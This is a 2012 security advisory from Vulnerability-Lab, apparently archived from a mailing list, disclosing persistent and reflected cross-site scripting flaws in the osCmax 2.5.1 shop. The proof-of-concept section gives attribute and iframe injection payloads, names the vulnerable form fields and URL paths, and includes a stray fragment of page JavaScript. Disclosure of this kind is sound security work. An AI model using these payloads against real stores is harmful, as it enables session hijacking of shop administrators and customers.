[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities



Title:
======
osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities


Date:
=====
2012-04-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=497


VL-ID:
=====
497


Introduction:
=============
osCMax is a powerful e-commerce/shopping cart web application. There are many 
advantages to using osCMax as your 
e-commerce/shopping cart for your web site. It has all the features needed to 
run a successful internet store 
and can be customized to whatever configuration you need. osCmax is community 
developed software that is free, 
open source and hosted on your own web server. It is easy enough to use for 
small startup stores and feature 
rich to support very large operations that need more advanced eCommerce 
features. There are no artificial limits 
placed on the feature set, amount of products or sales amounts which is 
commonly seen with paid or 
hosted eCommerce solutions. 

- Unlimited Products and Categories
- Gift Vouchers/Coupons
- Download/Virtual Product support
- Secure/Stable code base
- Web Based admin Panel
- Supports PayPal, AuthorizeNet, Real time credit card processing
- Supports UPS, USPS and Fed X shipping
- Unlimited product Specials
- Separate customer groups (Retail, Wholesale, or add your own groups)
- Compatible with most other mods available for osCommerce

(Copy of the Vendor Homepage: http://www.oscmax.com/)


Abstract:
=========
The Vulnerability Laboratory Researcher Team discovered multiple Web 
Vulnerabilities on the osCmax v2.5.1 shop web application.


Report-Timeline:
================
2012-04-08:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected on the osCmax 
v2.5.1 shop web application.
The bugs allow remote attackers to implement/inject malicious script code on 
the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking 
(manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.


Vulnerable Module(s):
                                [+] Register Form - Input Fields & Login 
Username Display
                                [+] Contacts Us - Send Input Fields & Admin 
output Display
                                [+] Add Groups Name - Control Panel


Picture(s):
                                ../1.png
                                ../2.png


1.2
Multiple non persistent cross site scripting vulnerabilities are detected on 
the osCmax v2.5.1 shop web application.
The vulnerability allows remote attackers to hijack website customer, moderator 
or admin sessions with medium required 
user inter action or local low privileged user account. Successful exploitation 
can result in account steal, phishing 
& client-side content request manipulation.


Vulnerable Module(s):
                                [+] Advanced Search
                                [+] Advanced Search Results
                                [+] Catalog Products with Images
                                [+] Contact Us Value
                                [+] Index
                                [+] Information
                                [+] Shopping Cart
                                [+] Wishlist & Wishlist Help
                                [+] Index - Query


Picture(s):
                                ../3.png
                                ../4.png
                                ../5.png


Proof of Concept:
=================
1.1
Review: Register & Contact us

URL encoded POST input name was set to " onmouseover=prompt(vulnerabilitylab) 
evil="
The input is reflected inside of a tag element between double quotes. The issue 
can be exploited by including 
malcious script code via contact or register. 


Review: Add Groups
URL: 


       <td><table border="0" cellpadding="0" cellspacing="0" width="100%">
          <tbody><tr>
            <td valign="top"><table border="0" cellpadding="2" cellspacing="0" 
width="100%">
               <tbody><tr class="dataTableHeadingRow">
           <td class="dataTableHeadingContent"><a 
href="/oscmax/admin/customers_groups.php?listing=group"><img 
src="includes/languages/german/images/buttons/ic_up.gif" alt="Sortieren Name 
--> A-B-C Aufsteigend" title=" 
Sortieren Name --> A-B-C Aufsteigend " border="0"></a> <a 
href="/oscmax/admin/customers_groups.php?listing=group-desc">
<img src="includes/languages/german/images/buttons/ic_down.gif" alt="Sortieren 
Name --> Z-Y-X Absteigend" 
title=" Sortieren Name --> Z-Y-X Absteigend " border="0"></a><br>Name</td>
                   <td class="dataTableHeadingContent" align="right" 
valign="bottom">Aktion </td>
               </tr>
 <tr style="" class="dataTableRowSelected" 
onmouseover="this.style.cursor='hand'" onclick="document.location.href='
http://xxx.com/oscmax/admin/customers_groups.php?listing="=&;><iframe_src=a 
onload=alert(&VULNERABILITYLAB=&)_
<=&page=1&cID=0&action=edit'">
                <td class="dataTableContent">"><iframe src="a" 
onload='alert("VULNERABILITYLAB</td'>
                <td class="dataTableContent" align="right"><img 
src="images/icons/icon_arrow_right.gif" 
border="0" alt=""> </td>
              </tr>
          <tr class="dataTableRow" 
onmouseover="this.className='dataTableRowOver';this.style.cursor='hand'" 
onmouseout="this.className='dataTableRow'" 
onclick="document.location.href='http://xxx.com/oscmax/admin/customers_groups.php?
listing="=&><iframe_src=a onload=alert(&VULNERABILITYLAB=&)_<=&page=1&cID=1'">
                <td class="dataTableContent">Wholesale</td>
                <td class="dataTableContent" align="right"><a 
href="http://xxx.com/oscmax/admin/customers_groups.php?
listing="=&><iframe_src=a 
onload=alert(&VULNERABILITYLAB=&)_<=&page=1&cID=1"><img src="
images/icons/information.png" border="0" alt="Info" title=" Info "></a> </td>
              </tr>
              <tr>


A later effect is also that a group is getting unparsed displayed on katalog 
add article function.
On all add of articles the groups will be displayed and executed out of the 
shopping application admin context.

              <div id="qpbpp" class="cgtabs ui-tabs ui-widget ui-widget-content 
ui-corner-all">
                <ul class="tabnav ui-tabs-nav ui-helper-reset 
ui-helper-clearfix ui-widget-header ui-corner-all">   
<li class="ui-state-default ui-corner-top ui-tabs-selected ui-state-active"><a 
href="#pricebreak-0">
<iframe src="http://vuln-lab.com";></a></li>
  <li><a href="#pricebreak-1">Wholesale</a></li>
                </ul>

Note: It looks like all name input fields & add masks (katalog, vouchur, carts) 
are vulnerable to that issue.




1.2
The client side cross site scripting vulnerabilities can be exploited by remote 
attackers with medium required user inter action.
For demonstration or reproduce ...

All the following site of the application are vulnerable to client side cross 
site scripting. 

/oscmax/index.php?query=[Cross Site Scripting]
/oscmax/advanced_search.php/*[Cross Site Scripting]
/oscmax/advanced_search_result.php/*[Cross Site Scripting]
/oscmax/catalog_products_with_images.php/*[Cross Site Scripting]
/oscmax/contact_us.php/*[Cross Site Scripting]
/oscmax/index.php/*[Cross Site Scripting]
/oscmax/information.php/*[Cross Site Scripting]
/oscmax/shopping_cart.php/*[Cross Site Scripting]
/oscmax/wishlist.php/*[Cross Site Scripting]
/oscmax/wishlist_help.php/*[Cross Site Scripting]
/oscmax/create_account.php/*[Cross Site Scripting]

Review: Index - Query
URL: oscmax/index.php?query=
String: <Iframe src=http://www.vulnerability-lab.com>


Review: Create Account
URL: oscmax/create_account.php
String: onmouseover=prompt(vulenrabilitylab)>

eval('document.' + name); if (w3c) return document.getElementById(name); if 
(ie4) return eval('document.all.' + name); 
return false; } //Gets the browser specific XmlHttpRequest Object function 
getXmlHttpRequestObject() { if 
(window.XMLHttpRequest) { return new XMLHttpRequest(); } else 
if(window.ActiveXObject) { return new ActiveXObject
("Microsoft.XMLHTTP"); } else { alert("Your browser does not support this 
feature. Please upgrade or use a different 
browser. Older (pre-v2.8) versions of Order Editor do not have this 
restriction."); } } //Our XmlHttpRequest object 
to get the auto suggest var request = getXmlHttpRequestObject(); 
/*************************************************** 
GET STATES FUNCTIONS ***************************************************/ 
function getStates(countryID, div_element) 
{ if (request.readyState == 4 || request.readyState == 0) { // indicator make 
visible here.. getObject("indicator")
.style.visibility = 'visible'; var contentType = "application/x-www...


Risk:
=====
1.1
The security risk of the persistent (application side) input validation 
vulnerabilities are estimated as medium.

1.2
The security risk of the non persistent (client side) cross site scripting 
vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Research Laboratory Team  -     N/A  Anonymous


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, 
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified 
form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012 
Vulnerability-Lab

-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx